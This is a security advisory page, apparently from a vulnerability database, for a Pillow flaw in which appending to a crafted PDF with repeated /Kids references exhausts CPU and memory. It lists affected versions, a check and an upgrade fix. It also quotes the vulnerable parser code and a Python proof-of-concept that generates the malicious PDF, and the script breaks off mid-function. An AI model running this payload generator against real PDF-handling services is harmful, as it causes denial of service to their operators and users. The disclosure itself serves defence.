---
id: "CVE-2026-96640"
kind: "vulnerability"
aliases: ["CVE-2026-96640", "GHSA-mrfp-p49p-3hf2"]
title: "Pillow PDF append accepts malformed shared page-tree DAG causing resource exhaustion"
severity: "high"
cvss: 8.2
epss: 0.004209999926388264
exploited: false
status: "open"
category: "package"
products: [{"name": "Pillow", "fixed": ["13.0.0"], "affected": ">= 5.1.0, < 13.0.0", "ecosystem": "pypi"}]
ecosystems: ["pypi"]
tags: ["cwe-400", "cwe-407", "package", "pillow", "python", "saas-with-pdf-upload", "self-hosted"]
not_affected_if: ["no-pdf-append-path", "only-trusted-pdf-input", "pillow-13.0.0-or-later", "pillow-below-5.1.0"]
published_at: "2026-10-21T21:20:32+00:00"
first_seen_at: "2026-10-23T19:11:31+00:00"
updated_at: "2026-10-23T21:57:29+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-mrfp-p49p-3hf2", "first_seen_at": "2026-10-23T19:11:31+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-96640", "first_seen_at": "2026-10-23T21:57:29+00:00"}]
---

# Pillow PDF append accepts malformed shared page-tree DAG causing resource exhaustion

Pillow's PDF append path (Image.save with format="PDF" and append=True) walks a malicious PDF page tree where repeated /Kids references expand exponentially, so a 1410-byte PDF can take about 9.6 seconds of CPU. An attacker who can supply an existing PDF to an app that appends to it can cause denial of service through CPU and memory exhaustion.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- pypi:Pillow affected >= 5.1.0, < 13.0.0 fixed 13.0.0

## How to check

Run pip show pillow and check whether the version is >= 5.1.0 and < 13.0.0. Find code that calls Image.save(..., format="PDF", append=True) on PDFs that users upload or otherwise supply.

## Fix

Upgrade Pillow to 13.0.0 or later. The advisory lists no earlier patched release.

## Timeline

- 2026-10-23T19:11:31+00:00 ghsa https://github.com/advisories/GHSA-mrfp-p49p-3hf2
- 2026-10-23T21:57:29+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-96640

## From the sources

### Summary
Pillow's documented PDF append path can spend disproportionate CPU time on a compact malformed PDF page tree.

An attacker who can supply an existing PDF to an application that appends an image with `Image.save(..., format="PDF", append=True)` can provide a malformed `/Pages` tree where each level repeats the same child `/Pages` reference in `/Kids`. Pillow treats the graph as a tree and expands each repeated reference in `PdfParser.linearize_page_tree()` without tracking visited or duplicate indirect references.

In the bounded proof below, a `1410`-byte PDF expands to `8192` page references from one distinct page object and takes about `9.6` seconds through the append path. A comparable linear control with the same depth stays at one page reference and completes in about `0.02` seconds.

This is in scope for Pillow's security policy because it is reproducible in `main`, affects the latest public release tested (`12.3.0`), and is not just an unexpected Python exception. The vulnerable operation accepts attacker-controlled PDF bytes through Pillow's PDF parser and causes deterministic resource consumption before normal completion.

### Details

#### Affected versions

- Package: `Pillow`
- Ecosystem: `pip` / PyPI
- Affected component: `src/PIL/PdfParser.py` page-tree traversal reached from `src/PIL/PdfImagePlugin.py` PDF append handling
- Runtime-tested affected release: `12.3.0`
- Runtime-tested affected development version: `13.0.0.dev0`
- Tested commit: `b39b9649312fbc381060e8c7c7f9f0de4cc63daa`
- Current source artifact hash: `sha256(git archive --format=tar HEAD) = 2ccefca23d432456765be8d3c34564c65ba016b0c9da1e44ca389762f7eda054`
- Release `12.3.0` commit: `bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d`
- Release `12.3.0` source artifact hash: `sha256(git archive --format=tar 12.3.0) = 94bed33fd20123938dbc0153d295250bb4e3c09251b6d4a34f7595e25d409c81`
- Source-level affected: `5.1.0`, `12.2.0`, `12.3.0`, and `HEAD`
- Likely affected range: `>= 5.1.0`
- Patched versions: none known

Evidence fact strings:

- Runtime-tested affected: 12.3.0
- Runtime-tested affected: 13.0.0.dev0 at b39b9649312fbc381060e8c7c7f9f0de4cc63daa
- Source-level affected: 5.1.0
- Source-level affected: 12.2.0
- Source-level affected: HEAD
- Likely affected range: >= 5.1.0, no fixed version known
- Pre-boundary note: 5.0.0 has PdfImagePlugin.py but no src/PIL/PdfParser.py

`5.0.0` contains `src/PIL/PdfImagePlugin.py` but does not contain `src/PIL/PdfParser.py`. `PdfParser.py` was introduced by `6207b44ab1ff4a91d8ddc7579619876d0bb191a4` (`2018-01-18 issue #2959: support appending to existing PDFs`), which shipped in `5.1.0`.

#### Technical details

The reachable path is:

1. A service or application receives an attacker-influenced existing PDF and appends an image using Pillow's public PDF save path:

   ```python
   Image.new("L", (1, 1), 0).save(existing_pdf_file, format="PDF", append=True)
   ```

2. `src/PIL/PdfImagePlugin.py` routes `append=True` to `PdfParser`:

   ```python
   is_appending = im.encoderinfo.get("append", False)
   filename_str = filename.decode() if isinstance(filename, bytes) else filename
   if is_appending:
       existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode="r+b")
   else:
       existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode="w+b")
   ```

3. `src/PIL/PdfParser.py` parses the existing PDF and linearizes the page tree:

   ```python
   self.page_tree_root = self.read_indirect(self.pages_ref)
   self.pages = self.linearize_page_tree(self.page_tree_root)
   self.orig_pages = self.pages[:]
   ```

4. `linearize_page_tree()` recursively follows every `/Kids` entry and extends the page list. It does not track page-tree node identity, duplicate references, or active traversal references:

   ```python
   def linearize_page_tree(
       self, node: PdfDict | None = None
   ) -> list[IndirectReference]:
       page_node = node if node is not None else self.page_tree_root
       check_format_condition(
           page_node[b"Type"] == b"Pages", "/Type of page tree node is not /Pages"
       )
       pages = []
       for kid in page_node[b"Kids"]:
           kid_object = self.read_indirect(kid)
           if kid_object[b"Type"] == b"Page":
               pages.append(kid)
           else:
               pages.extend(self.linearize_page_tree(node=kid_object))
       return pages
   ```

5. During append, `rewrite_pages()` then iterates the expanded `orig_pages` list and scans/replaces entries in `self.pages`, adding more cost to the already expanded duplicate-reference list.

The missing invariant is:

```text
The PDF page tree should be treated as an acyclic tree of unique indirect references before Pillow builds pages/orig_pages or rewrites pages.
```

The proof intentionally uses a malformed PDF page-tree DAG: each `/Pages` node repeats the same next `/Pages` child reference twice. Pillow accepts this graph and expands it as if the repeated reference represented distinct subtrees.

### PoC

Environment used for validation:

- OS/runtime: Linux, Python `3.13.11`
- Current tested build: Pillow `13.0.0.dev0`, commit `b39b9649312fbc381060e8c7c7f9f0de4cc63daa`
- Latest release tested: Pillow `12.3.0`
- The proof uses only synthetic in-memory PDFs and does not contact the network.

Save this as `poc_pillow_pdf_page_tree_dag.py`:

```python
#!/usr/bin/env python3
from __future__ import annotations

import io
import json
import sys
import time

from PIL import Image, PdfParser
import PIL


def make_page_tree_pdf(depth: int, fanout: int) -> bytes:
    if fanout not in (1, 2):
        raise ValueError("fanout must be 1 or 2")

    objects: list[bytes] = [b"<< /Type /Catalog /Pages 2 0 R >>"]
    for object_id in range(2, depth + 3):
        next_id = object_id + 1
        kids = b" ".join(f"{next_id} 0 R".encode("ascii") for _ in range(fanout))
        parent = b"" if object_id == 2 else f" /Parent {object_id - 1} 0 R".encode()
        objects.append(b"<< /Type /Pages /Kids [ " + kids + b" ]" + parent + b" >>")
    objects.append(f"<< /Type /Page /Parent {depth + 2} 0 R >>".encode("ascii"))

    result = bytearray(b"%PDF-1.4\n")
    offsets = [0]
    for object_id, value in enumerate(objects, start=1):
        offsets.append(len(result))
        result.extend(f"{object_id} 0 obj\n".encode("ascii"))
        result.extend(value)
        result.extend(b"\nendobj\n")

    xref_offset = len(result)
    result.extend(f"xref\n0 {len(objects) + 1}\n".encode("ascii"))
    result.extend(b"0000000000 65535 f \n")
    for offset in offsets[1:]:
        result.extend(f"{offset:010d} 00000 n \n".encode("ascii"))
    result.extend(
        f"trailer\n<< /Size {len(objects) + 1} /Root 1 0 R >>\n"
        f"startxref\n{xref_offset}\n%%EOF\n".encode("ascii")
    )
    return bytes(result)


def run_case(depth: int, fanout: int) -> dict[str, object]:
    payload = make_page_tree_pdf(depth, fanout)
    expected_refs = fanout ** (depth + 1)

    start = time.monotonic()
    with PdfParser.PdfParser(buf=payload) as pdf:
        observed_refs = len(pdf.pages)
        distinct_refs = len(set(pdf.pages))
    parse_seconds = time.monotonic() - start

    output = io.BytesIO(payload)
    start = time.monotonic()
    Image.new("L", (1, 1), 0).save(output, format="PDF", append=True)
    append_seconds = time.monotonic() - start

    return {
        "fanout": fanout,
        "depth": depth,
        "input_bytes": len(payload),
        "expected_refs": expected_refs,
        "observed_refs": observed_refs,
        "distinct_refs": distinct_refs,
        "parse_seconds": round(parse_seconds, 6),
        "append_seconds": round(append_seconds, 6),
        "output_bytes_after_append": len(output.getvalue()),
    }


def main() -> int:
    depth = int(sys.argv[1]) if len(sys.argv) > 1 else 12
    if not 0 <= depth <= 16:
        raise SystemExit("depth must be between 0 and 16")

    linear = run_case(depth, fanout=1)
    shared_dag = run_case(

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
